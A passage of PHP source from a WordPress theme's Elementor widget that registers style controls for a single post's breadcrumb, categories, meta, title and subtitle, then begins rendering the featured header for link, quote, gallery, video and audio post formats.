			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb span, {{WRAPPER}} .penci-breadcrumb.single-breadcrumb i,{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb_lhcolor', [
			'label'     => 'Breadcrumb Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'style_categories', [
			'label'     => esc_html__( 'Category Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'penci_post_cat!' => 'yes' ],
		] );

		$this->add_control( 'cat_pre_style', [
			'label'   => 'Category Style',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => [
				''   => 'Default Theme Style',
				's1' => 'Style 1',
				's2' => 'Style 2',
				's3' => 'Style 3',
				's4' => 'Style 4',
			],
		] );

		$this->add_control( 'cat_head', [
			'label' => 'Category Custom Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography for Categories', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb',
		) );

		$this->add_control( 'cat_color', [
			'label'     => 'Category Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_lcolor', [
			'label'     => 'Category Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_lhcolor', [
			'label'     => 'Category Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bgcolor', [
			'label'     => 'Category Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bghcolor', [
			'label'     => 'Category Background Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bcolor', [
			'label'     => 'Category Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bhcolor', [
			'label'     => 'Category Borders Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_padding', [
			'label'      => 'Category Item Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .cat > a.penci-cat-name' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'cat_border', [
			'label'      => 'Category Item Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .cat > a.penci-cat-name' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'cat_border_style', [
			'label'     => 'Category Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_border_radius', [
			'label'      => 'Category Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .cat > a.penci-cat-name' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'cat_divider', [
			'label'     => 'Remove Category Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .cat > a.penci-cat-name:after' => 'display:none !important;'
			),
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'meta_color_style', [
			'label' => esc_html__( 'General Meta Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Meta', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-meta-single',
		) );

		$this->add_control( 'meta-color', [
			'label'     => 'Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-color', [
			'label'     => 'Meta Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-hcolor', [
			'label'     => 'Meta Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'remove-divider', [
			'label'     => 'Remove Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none' ],
		] );

		$this->add_control( 'meta-color-heading', [
			'label' => 'Meta Color',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'meta-author-color', [
			'label'     => 'Author Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post,{{WRAPPER}} .author-post .author' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-lcolor', [
			'label'     => 'Author Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-author-hcolor', [
			'label'     => 'Author Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .author-post a:hover' => 'color:{{VALUE}}' ],
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'meta-pdate-color', [
			'label'     => 'Post Date Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-date-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'meta-pcomment-color', [
			'label'     => 'Post Comment Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-comment-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'meta-pview-color', [
			'label'     => 'Post View Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pctmp-view-post' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'meta-preading-color', [
			'label'     => 'Post Reading Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .single-readtime' => 'color:{{VALUE}} !important' ],
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

		/* Post Title */
		$this->start_controls_section( 'style_title', [
			'label'     => esc_html__( 'Title Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_title!' => 'yes' ],
		] );

		$this->add_control( 'title_head', [
			'label' => 'Title Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography for Post Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .header-standard .post-title',
		) );

		$this->add_control( 'title_color', [
			'label'     => 'Post Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'main-text-gcolor-enable', [
			'label' => 'Enable Gradient Color for Post Title',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'      => 'main-text-gcolor',
			'label'     => __( 'Gradient Color', 'soledad' ),
			'types'     => array( 'gradient' ),
			'selector'  => '{{WRAPPER}} .post-title.single-post-title span',
			'condition' => [ 'main-text-gcolor-enable' => 'yes' ]
		) );

		$this->add_control( 'main-text-inlinecolor-e', [
			'label'     => 'Use Inline Background Color?',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .post-title'      => 'background-color:var(--pcaccent-cl);display:inline;box-decoration-break: clone;padding: 3px 8px;',
				'{{WRAPPER}} .header-standard' => 'padding-top: 3px',
			],
		] );

		$this->add_control( 'main-text-inlinecolor', [
			'label'     => 'Inline Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-title' => 'background-color:{{VALUE}}' ],
			'condition' => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->add_control( 'main-text-inline-d', [
			'label'      => 'Inline Background Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px' ],
			'selectors'  => [
				'{{WRAPPER}} .post-title'      => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .header-standard' => 'padding-top: {{TOP}}{{UNIT}}',
			],
			'condition'  => [ 'main-text-inlinecolor-e' => 'yes' ]
		] );

		$this->add_control( 'title_bgcolor', [
			'label'     => 'Title Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'title_bcolor', [
			'label'     => 'Title Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'title_padding', [
			'label'      => 'Title Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .header-standard .post-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'title_border', [
			'label'      => 'Title Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .header-standard .post-title' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'title_border_style', [
			'label'     => 'Title Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .header-standard .post-title' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'title_border_radius', [
			'label'      => 'Title Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .header-standard .post-title' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->end_controls_section();

		/* Post Title */
		$this->start_controls_section( 'style_subtitle', [
			'label'     => esc_html__( 'Sub Title Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_subtitle!' => 'yes' ],
		] );

		$this->add_control( 'subtitle_head', [
			'label' => 'Sub Title Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'subtitle_typo',
			'label'    => __( 'Typography for Post Sub Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-psub-title',
		) );

		$this->add_control( 'subtitle_color', [
			'label'     => 'Post Sub Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_bgcolor', [
			'label'     => 'Sub Title Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_bcolor', [
			'label'     => 'Sub Title Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_padding', [
			'label'      => 'Sub Title Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-psub-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'subtitle_border', [
			'label'      => 'Sub Title Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-psub-title' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'subtitle_border_style', [
			'label'     => 'Sub Title Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .penci-psub-title' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'subtitle_border_radius', [
			'label'      => 'Sub Title Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-psub-title' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->end_controls_section();

		/* Post Meta */
		$this->start_controls_section( 'style_postmeta', [
			'label'     => esc_html__( 'Post Meta Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_info!' => 'yes' ],
		] );

		$this->add_control( 'postinfo_head', [
			'label' => 'Post Meta Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'postinfo_typo',
			'label'    => __( 'Typography for Post Metarmations', 'soledad' ),
			'selector' => '{{WRAPPER}} .header-standard .post-box-meta-single span',
		) );

		$this->add_control( 'postinfo_color', [
			'label'     => 'Post Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_lcolor', [
			'label'     => 'Post Meta Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_lhcolor', [
			'label'     => 'Post Meta Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard .post-box-meta-single span a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_bgcolor', [
			'label'     => 'Meta Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_bcolor', [
			'label'     => 'Meta Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'postinfo_padding', [
			'label'      => 'Meta Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .post-box-meta-single > span' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'postinfo_border', [
			'label'      => 'Meta Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .post-box-meta-single > span' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'meta_border_style', [
			'label'     => 'Meta Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single > span' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'meta_border_radius', [
			'label'      => 'Title Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .post-box-meta-single > span' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		global $post;
		$settings             = $this->get_settings();
		$avatar               = $settings['penci_single_author_avatar'];
		$avatarw              = isset( $settings['penci_avatar_w'] ) && $settings['penci_avatar_w'] ? $settings['penci_avatar_w'] : 32;
		$ava_icon_enable      = $settings['penci_single_meta_ava_icon_check'];
		$ava_icon             = $settings['penci_single_meta_ava_icon'];
		$date_icon_enable     = $settings['penci_single_meta_date_icon_check'];
		$date_icon            = $settings['penci_single_meta_date_icon'];
		$commment_icon_enable = $settings['penci_single_meta_comment_icon_check'];
		$commment_icon        = $settings['penci_single_meta_comment_icon'];
		$view_icon_enable     = $settings['penci_single_meta_view_icon_check'];
		$view_icon            = $settings['penci_single_meta_view_icon'];
		$reading_icon_enable  = $settings['penci_single_meta_reading_icon_check'];
		$reading_icon         = $settings['penci_single_meta_reading_icon'];
		$icon_style           = $settings['meta_icon_style'];
		$thumb_alt            = '';
		$label_text           = $settings['hide_meta_label'];
		$gradient_class       = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';

		if ( has_post_thumbnail() ) {
			$thumb_id  = get_post_thumbnail_id( get_the_ID() );
			$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
		}

		if ( penci_elementor_is_edit_mode() ) {
			$attachments = get_posts( [ 'post_type' => 'attachment', 'numberposts' => 1 ] );
			if ( ! empty( $attachments ) ) {
				$thumb_id  = $attachments[0]->ID;
				$thumb_alt = penci_get_image_alt( $thumb_id, get_the_ID() );
			}
			add_filter( 'has_post_thumbnail', function () {
				return true;
			} );
		}


		$move_title_bellow   = false;
		$enable_jarallax     = $settings['penci_enable_jarallax_single'];
		$pmt_enable_jarallax = get_post_meta( get_the_ID(), 'penci_enable_jarallax_single', true );

		if ( $pmt_enable_jarallax ) {
			$enable_jarallax = $pmt_enable_jarallax;
		}

		$simage_size = get_theme_mod( 'penci_single_custom_thumbnail_size' ) ? get_theme_mod( 'penci_single_custom_thumbnail_size' ) : 'penci-full-thumb';
		$image_size  = $settings['img_size'] ? $settings['img_size'] : $simage_size;

		if ( penci_is_mobile() ) {
			$image_size = $settings['img_msize'] ? $settings['img_msize'] : 'penci-masonry-thumb';
		}


		$div_special_wrapper = '';
		if ( ! $move_title_bellow ) {
			$div_special_wrapper .= '<div class="';
			$div_special_wrapper .= 'standard-post-special_wrapper' . $gradient_class;
			$div_special_wrapper .= '">';
		}

		$image_html = penci_get_featured_single_image_size( get_the_ID(), $image_size, $enable_jarallax, $thumb_alt );

		if ( penci_elementor_is_edit_mode() ) {
			$class       = 'attachment-penci-full-thumb size-penci-full-thumb penci-single-featured-img wp-post-image';
			$src         = PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=1200&h=800';
			$style_ratio = 'padding-top: 67%;';
			if ( $enable_jarallax ) {
				$image_html = '<img class="jarallax-img" src="' . $src . '" alt="' . $thumb_alt . '">';
			} elseif ( ! get_theme_mod( 'penci_speed_disable_first_screen' ) || get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) {
				$image_html = '<span class="' . $class . ' penci-disable-lazy" style="background-image: url(' . $src . ');' . $style_ratio . '"></span>';
			} else {
				$image_html = '<span class="' . $class . ' penci-lazy" data-bgset="' . $src . '" style="' . $style_ratio . '"></span>';
			}
		}

		?>
		<?php if ( penci_get_post_format( 'link' ) || penci_get_post_format( 'quote' ) ) : ?>
			<?php
			$class_pimage_linkquote = 'standard-post-special post-image';
			if ( penci_get_post_format( 'quote' ) ) {
				$class_pimage_linkquote .= ' penci-special-format-quote';
			}
			if ( ! has_post_thumbnail() || get_theme_mod( 'penci_post_thumb' ) ) {
				$class_pimage_linkquote .= ' no-thumbnail';
			}

			if ( ! $move_title_bellow ) {
				$class_pimage_linkquote .= ' penci-move-title-above';
			}

			if ( $enable_jarallax ) {
				$class_pimage_linkquote .= ' penci-jarallax';
			}
			?>
        <div class="<?php echo( $class_pimage_linkquote ); ?>">
			<?php
			if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
				echo $image_html;
			}
			?>
			<?php echo $div_special_wrapper; ?>
            <div class="standard-content-special">
                <div class="format-post-box<?php if ( penci_get_post_format( 'quote' ) ) {
					echo ' penci-format-quote';
				} else {
					echo ' penci-format-link';
				} ?>">
                    <span class="post-format-icon"><?php penci_fawesome_icon( 'fas fa-' . ( penci_get_post_format( 'quote' ) ? 'quote-left' : 'link' ) ); ?></span>
                    <p class="dt-special">
						<?php
						if ( penci_get_post_format( 'quote' ) ) {
							$dt_content = get_post_meta( $post->ID, '_format_quote_source_name', true );
							if ( ! empty( $dt_content ) ): echo sanitize_text_field( $dt_content ); endif;
						} else {
							$dt_content = get_post_meta( $post->ID, '_format_link_url', true );
							if ( ! empty( $dt_content ) ):
								echo '<a href="' . esc_url( $dt_content ) . '" target="_blank">' . sanitize_text_field( $dt_content ) . '</a>';
							endif;
						}
						?>
                    </p>
					<?php
					if ( penci_get_post_format( 'quote' ) ):
						$quote_author = get_post_meta( $post->ID, '_format_quote_source_url', true );
						if ( ! empty( $quote_author ) ):
							echo '<div class="author-quote"><span>' . sanitize_text_field( $quote_author ) . '</span></div>';
						endif;
					endif; ?>
                </div>
            </div>
            <div class="penci-fto-ct">
				<?php
				if ( ! $move_title_bellow ) {
					get_template_part( 'template-parts/single', 'breadcrumb' );
				}
				if ( ! $move_title_bellow && has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
					get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
				}
				?>
            </div>
			<?php if ( ! $move_title_bellow ): ?></div><?php endif; ?>
            </div>

		<?php elseif ( penci_get_post_format( 'gallery' ) ) : ?>

			<?php $images = get_post_meta( $post->ID, '_format_gallery_images', true ); ?>

			<?php if ( ! $move_title_bellow && has_post_thumbnail() ) : ?>
				<?php if ( ! get_theme_mod( 'penci_post_thumb' ) ) : ?>
                    <div class="post-image penci-move-title-above <?php echo( $enable_jarallax ? ' penci-jarallax' : '' ); ?>">
						<?php
						if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) && ! $enable_jarallax ) {
							$thumb_url = wp_get_attachment_url( get_post_thumbnail_id( $post->ID ) );
							echo '<a href="' . esc_url( $thumb_url ) . '" data-rel="penci-gallery-image-content">';
							echo $image_html;
							echo '</a>';
						} else {
							echo $image_html;
						}

						echo $div_special_wrapper;

						echo '<div class="penci-fto-ct">';

						get_template_part( 'template-parts/single', 'breadcrumb' );
						if ( has_post_thumbnail() && ! get_theme_mod( 'penci_post_thumb' ) ) {
							get_template_part( 'inc/template-builder/single-elements/entry', 'header', $settings );
						}
						echo '</div>';
						echo '</div>';
						?>
                    </div>
				<?php endif; ?>
			<?php elseif ( $images ) :
				$autoplay = ! get_theme_mod( 'penci_disable_autoplay_single_slider' ) ? 'true' : 'false';
				?>
                <div class="post-image">
                    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-nav-visible"
                         data-auto="<?php echo $autoplay; ?>" data-lazy="true">
                        <div class="swiper-wrapper">
							<?php foreach ( $images as $image ) : ?>

								<?php $the_image = wp_get_attachment_image_src( $image, $image_size ); ?>
								<?php $the_caption = get_post_field( 'post_excerpt', $image );
								$image_alt         = penci_get_image_alt( $image, get_the_ID() );
								$image_title_html  = penci_get_image_title( $image );
								?>
                                <div class="swiper-slide swiper-mark-item">
                                    <figure class="penci-swiper-mask">
										<?php if ( get_theme_mod( 'penci_speed_disable_first_screen' ) || ! get_theme_mod( 'penci_disable_lazyload_fsingle' ) ) { ?>
                                            <img class="penci-lazy" data-src="<?php echo esc_url( $the_image[0] ); ?>"
                                                 alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
										<?php } else { ?>
                                            <img src="<?php echo esc_url( $the_image[0] ); ?>"
                                                 alt="<?php echo $image_alt; ?>"<?php echo $image_title_html; ?> />
										<?php } ?>
										<?php if ( get_theme_mod( 'penci_post_gallery_caption' ) && $the_caption ): ?>
                                            <p class="penci-single-gallery-captions penci-single-gaformat-caption"><?php echo $the_caption; ?></p>
										<?php endif; ?>
                                    </figure>
                                </div>

							<?php endforeach; ?>
                        </div>
                    </div>
                </div>
			<?php endif; ?>

		<?php elseif ( penci_get_post_format( 'video' ) ) : ?>
			<?php
			Penci_Sodedad_Video_Format::show_builder_video_embed( array(
				'post_id'             => $post->ID,
				'parallax'            => $enable_jarallax,
				'args'                => array( 'width' => '1920', 'height' => '1080' ),
				'show_title_inner'    => true,
				'move_title_bellow'   => $move_title_bellow,
				'div_special_wrapper' => $div_special_wrapper,
				'single_style'        => 'style-1'
			), $settings );
			?>
		<?php elseif ( penci_get_post_format( 'audio' ) ) : ?>
			<?php
			$class_pimage_audio = 'standard-post-image post-image audio';

